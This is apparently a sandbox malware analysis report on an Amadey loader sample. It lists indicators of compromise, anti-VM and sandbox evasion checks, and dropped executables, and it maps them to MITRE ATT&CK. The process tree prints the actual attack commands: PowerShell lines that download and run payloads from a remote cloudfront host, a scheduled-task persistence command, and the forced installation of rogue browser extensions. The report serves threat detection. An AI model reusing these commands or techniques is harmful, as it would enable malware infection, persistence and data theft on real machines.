amadey | 3a1d7b3104e74006ff71fbbc23d83da87aae8c62556aeb24b8929f61bc4031fb

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplons.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplons.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplons.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	f6986f363dde0d5f374abd0a1dac252b.exe

Blocklisted process makes network request 5 IoCs

flow	pid	Process
72	2392	powershell.exe
74	2804	powershell.exe
77	2804	powershell.exe
84	3476	powershell.exe
89	3476	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplons.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplons.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplons.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplons.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplons.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplons.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	f6986f363dde0d5f374abd0a1dac252b.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	f6986f363dde0d5f374abd0a1dac252b.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	Newoff.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	f6986f363dde0d5f374abd0a1dac252b.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	axplons.exe

Executes dropped EXE 11 IoCs

pid	Process
1028	axplons.exe
5036	Newoff.exe
3676	toolspub1.exe
1496	lumma1234.exe
3408	vpn-1002.exe
1820	i0.exe
1220	i0.tmp
4036	axplons.exe
1004	Newoff.exe
3212	axplons.exe
1836	Newoff.exe

Identifies Wine through registry keys 2 TTPs 4 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Software\Wine	axplons.exe
Key opened	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Software\Wine	axplons.exe
Key opened	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Software\Wine	f6986f363dde0d5f374abd0a1dac252b.exe
Key opened	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Software\Wine	axplons.exe

Loads dropped DLL 1 IoCs

pid	Process
3408	vpn-1002.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
91	checkip.amazonaws.com
92	checkip.amazonaws.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\shlwapi_p.dll	i0.tmp

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
4152	f6986f363dde0d5f374abd0a1dac252b.exe
1028	axplons.exe
4036	axplons.exe
3212	axplons.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1496 set thread context of 464	1496	lumma1234.exe	103

Drops file in Program Files directory 15 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\Application\dlls\dlls.manifest	i0.tmp
File created	C:\Program Files\Online Security\unins000.dat	i0.tmp
File created	C:\Program Files\Google\Chrome\Application\chrome.exe.manifest	i0.tmp
File opened for modification	C:\Program Files\Google\Chrome\Application\dlls\dlls.manifest	i0.tmp
File created	C:\Program Files\Google\Chrome\Application\dlls\Shlwapi.dll	i0.tmp
File created	C:\Program Files\Google\Chrome\Application\Extensions\updates.xml	i0.tmp
File created	C:\Program Files (x86)\Microsoft\Edge\Application\Extensions\security.crx	i0.tmp
File created	C:\Program Files\Google\Chrome\Application\Extensions\security.crx	i0.tmp
File created	C:\Program Files (x86)\Microsoft\Edge\Application\dlls\dlls.manifest	i0.tmp
File created	C:\Program Files (x86)\Microsoft\Edge\Application\dlls\Shlwapi.dll	i0.tmp
File created	C:\Program Files\Online Security\is-GRU6D.tmp	i0.tmp
File opened for modification	C:\Program Files\Online Security\unins000.dat	i0.tmp
File created	C:\Program Files\scoped_dir3992_1398604847\extension.zip	chrome.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe.manifest	i0.tmp
File created	C:\Program Files (x86)\Microsoft\Edge\Application\Extensions\updates.xml	i0.tmp

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\axplons.job	f6986f363dde0d5f374abd0a1dac252b.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2392	powershell.exe
2804	powershell.exe
3476	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3212	3676	WerFault.exe	97

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
3508	schtasks.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
3576	taskkill.exe
756	taskkill.exe

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	81	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	92	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	95	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
4152	f6986f363dde0d5f374abd0a1dac252b.exe
4152	f6986f363dde0d5f374abd0a1dac252b.exe
1028	axplons.exe
1028	axplons.exe
2392	powershell.exe
2392	powershell.exe
2392	powershell.exe
2804	powershell.exe
2804	powershell.exe
2804	powershell.exe
3476	powershell.exe
3476	powershell.exe
3476	powershell.exe
4036	axplons.exe
4036	axplons.exe
3212	axplons.exe
3212	axplons.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2392	powershell.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	3476	powershell.exe
Token: SeDebugPrivilege	756	taskkill.exe
Token: SeDebugPrivilege	3576	taskkill.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1220	i0.tmp

Suspicious use of WriteProcessMemory 59 IoCs

description	pid	Process	procid_target
PID 4152 wrote to memory of 1028	4152	f6986f363dde0d5f374abd0a1dac252b.exe	88
PID 4152 wrote to memory of 1028	4152	f6986f363dde0d5f374abd0a1dac252b.exe	88
PID 4152 wrote to memory of 1028	4152	f6986f363dde0d5f374abd0a1dac252b.exe	88
PID 1028 wrote to memory of 5036	1028	axplons.exe	91
PID 1028 wrote to memory of 5036	1028	axplons.exe	91
PID 1028 wrote to memory of 5036	1028	axplons.exe	91
PID 5036 wrote to memory of 3508	5036	Newoff.exe	92
PID 5036 wrote to memory of 3508	5036	Newoff.exe	92
PID 5036 wrote to memory of 3508	5036	Newoff.exe	92
PID 5036 wrote to memory of 3676	5036	Newoff.exe	97
PID 5036 wrote to memory of 3676	5036	Newoff.exe	97
PID 5036 wrote to memory of 3676	5036	Newoff.exe	97
PID 1028 wrote to memory of 1496	1028	axplons.exe	98
PID 1028 wrote to memory of 1496	1028	axplons.exe	98
PID 1028 wrote to memory of 1496	1028	axplons.exe	98
PID 1496 wrote to memory of 464	1496	lumma1234.exe	103
PID 1496 wrote to memory of 464	1496	lumma1234.exe	103
PID 1496 wrote to memory of 464	1496	lumma1234.exe	103
PID 1496 wrote to memory of 464	1496	lumma1234.exe	103
PID 1496 wrote to memory of 464	1496	lumma1234.exe	103
PID 1496 wrote to memory of 464	1496	lumma1234.exe	103
PID 1496 wrote to memory of 464	1496	lumma1234.exe	103
PID 1496 wrote to memory of 464	1496	lumma1234.exe	103
PID 1496 wrote to memory of 464	1496	lumma1234.exe	103
PID 5036 wrote to memory of 3408	5036	Newoff.exe	106
PID 5036 wrote to memory of 3408	5036	Newoff.exe	106
PID 5036 wrote to memory of 3408	5036	Newoff.exe	106
PID 3408 wrote to memory of 4696	3408	vpn-1002.exe	107
PID 3408 wrote to memory of 4696	3408	vpn-1002.exe	107
PID 3408 wrote to memory of 4696	3408	vpn-1002.exe	107
PID 4696 wrote to memory of 2392	4696	cmd.exe	109
PID 4696 wrote to memory of 2392	4696	cmd.exe	109
PID 4696 wrote to memory of 2392	4696	cmd.exe	109
PID 4696 wrote to memory of 2804	4696	cmd.exe	111
PID 4696 wrote to memory of 2804	4696	cmd.exe	111
PID 4696 wrote to memory of 2804	4696	cmd.exe	111
PID 4696 wrote to memory of 1820	4696	cmd.exe	114
PID 4696 wrote to memory of 1820	4696	cmd.exe	114
PID 4696 wrote to memory of 1820	4696	cmd.exe	114
PID 4696 wrote to memory of 3476	4696	cmd.exe	115
PID 4696 wrote to memory of 3476	4696	cmd.exe	115
PID 4696 wrote to memory of 3476	4696	cmd.exe	115
PID 1820 wrote to memory of 1220	1820	i0.exe	116
PID 1820 wrote to memory of 1220	1820	i0.exe	116
PID 1820 wrote to memory of 1220	1820	i0.exe	116
PID 1220 wrote to memory of 4940	1220	i0.tmp	117
PID 1220 wrote to memory of 4940	1220	i0.tmp	117
PID 4940 wrote to memory of 3992	4940	cmd.exe	119
PID 4940 wrote to memory of 3992	4940	cmd.exe	119
PID 3992 wrote to memory of 4232	3992	chrome.exe	120
PID 3992 wrote to memory of 4232	3992	chrome.exe	120
PID 1220 wrote to memory of 5012	1220	i0.tmp	121
PID 1220 wrote to memory of 5012	1220	i0.tmp	121
PID 1220 wrote to memory of 1676	1220	i0.tmp	123
PID 1220 wrote to memory of 1676	1220	i0.tmp	123
PID 1220 wrote to memory of 756	1220	i0.tmp	125
PID 1220 wrote to memory of 756	1220	i0.tmp	125
PID 1220 wrote to memory of 3576	1220	i0.tmp	127
PID 1220 wrote to memory of 3576	1220	i0.tmp	127

C:\Users\Admin\AppData\Local\Temp\f6986f363dde0d5f374abd0a1dac252b.exe
"C:\Users\Admin\AppData\Local\Temp\f6986f363dde0d5f374abd0a1dac252b.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4152
- C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
  "C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Checks computer location settings
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1028
- - C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
    "C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:5036
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Newoff.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe" /F
      4⤵
      Creates scheduled task(s)
      PID:3508
  - - C:\Users\Admin\AppData\Local\Temp\1000270001\toolspub1.exe
      "C:\Users\Admin\AppData\Local\Temp\1000270001\toolspub1.exe"
      4⤵
      Executes dropped EXE
      Checks SCSI registry key(s)
      PID:3676
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3676 -s 360
        5⤵
        Program crash
        
        PID:3212
  - - C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe
      "C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:3408
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nse9174.tmp\abc.bat"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4696
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/th.php?a=2836&c=1002','stat')"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2392
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=458&c=1002','i0.exe')"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2804
      - C:\Users\Admin\AppData\Local\Temp\i0.exe
        
        i0.exe /verysilent /sub=1000
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1820
        
        C:\Users\Admin\AppData\Local\Temp\is-L02UU.tmp\i0.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-L02UU.tmp\i0.tmp" /SL5="$16004E,2859366,899584,C:\Users\Admin\AppData\Local\Temp\i0.exe" /verysilent /sub=1000
        7⤵
        Executes dropped EXE
        Drops file in System32 directory
        Drops file in Program Files directory
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:1220
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-4VRA4.tmp\mqcvau > "C:\Users\Admin\AppData\Local\Temp\is-4VRA4.tmp\~execwithresult.txt""
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4940
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-4VRA4.tmp\mqcvau
        9⤵
        Drops file in Program Files directory
        Suspicious use of WriteProcessMemory
        
        PID:3992
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffa4932ab58,0x7ffa4932ab68,0x7ffa4932ab78
        10⤵
        
        PID:4232
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""openssl.exe" rsa -in .\mqcvau.pem -pubout -outform DER > "C:\Users\Admin\AppData\Local\Temp\is-4VRA4.tmp\~execwithresult.txt""
        8⤵
        
        PID:5012
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-4VRA4.tmp\netxdn > "C:\Users\Admin\AppData\Local\Temp\is-4VRA4.tmp\~execwithresult.txt""
        8⤵
        
        PID:1676
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /f /im "msedge.exe"
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:756
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /f /im "chrome.exe"
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3576
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=444&c=1002', 'i2.bat')"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3476
- - C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe
    "C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:1496
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 3676 -ip 3676
1⤵
PID:3732

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4036

C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
1⤵
- Executes dropped EXE
PID:1004

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:3212

C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
1⤵
- Executes dropped EXE
PID:1836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

Persistence

Scheduled Task/Job

Privilege Escalation

Scheduled Task/Job

Defense Evasion

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Virtualization/Sandbox Evasion